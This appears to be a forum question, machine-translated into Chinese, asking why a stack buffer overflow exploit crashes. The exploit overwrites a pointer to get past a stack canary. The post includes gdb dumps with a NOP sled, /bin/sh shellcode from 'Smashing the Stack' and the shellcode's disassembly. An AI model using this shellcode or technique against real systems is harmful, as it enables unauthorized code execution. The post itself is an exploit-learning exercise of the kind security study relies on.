我正在执行缓冲区溢出,方法是通过 memcpy 避免金丝雀指向指针,如此处所述。简而言之,您用堆栈中的 RET 的地址覆盖指针指向的地址。所以 memcpy-ing 到那个指针,有效地覆盖了 RET。
使用 gdb,我注入我的 NOP-sled + shellcode + address_overwrite 就好了。我可以看到 RET 位于 0xbffff52c,包含一个所需的地址 0xbffff4c0,它将落在 NOP 雪橇中。
(gdb) x /32xw $esp
0xbffff470: 0xbffff52c 0x0804a008 0x00000004 0x00000000
0xbffff480: 0x000003f3 0x08048327 0x90909087 0x90909090
0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0xeb909090
0xbffff4e0: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c
(gdb)
0xbffff4f0: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d8
0xbffff500: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff52c
0xbffff510: 0xbffff5a8 0xb7ff5990 0x0000008f 0xbffff5a8
0xbffff520: 0xb7fd1ff4 0x0804a008 0xbffff5a8 0xbffff4c0
0xbffff530: 0x0804a008 0x0804a008 0x0000008f 0x00000001
0xbffff540: 0x00000801 0x00000000 0xbfff0000 0x002001ac
0xbffff550: 0x000081a4 0x00000001 0x000004ad 0x000004ad
0xbffff560: 0x00000000 0x00000000 0xb7fd0000 0x0000008f
然而,运行这个我得到下面的错误,即使拆解显示我着陆得很好。
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c0 in ?? ()
(gdb) disas 0xbffff4c0, + 10
Dump of assembler code from 0xbffff4c0 to 0xbffff4ca:
=> 0xbffff4c0: nop
0xbffff4c1: nop
0xbffff4c2: nop
0xbffff4c3: nop
0xbffff4c4: nop
0xbffff4c5: nop
0xbffff4c6: nop
0xbffff4c7: nop
0xbffff4c8: nop
0xbffff4c9: nop
下面是shellcode。
0xbffff4df: jmp 0xbffff500
0xbffff4e1: pop %esi
0xbffff4e2: mov %esi,0x8(%esi)
0xbffff4e5: xor %eax,%eax
0xbffff4e7: mov %al,0x7(%esi)
0xbffff4ea: mov %eax,0xc(%esi)
0xbffff4ed: mov $0xb,%al
0xbffff4ef: mov %esi,%ebx
... ETC。
我使用了Smashing the stack附录 B 中的 shellcode 用于 linux 系统。你能帮我理解什么是错的吗?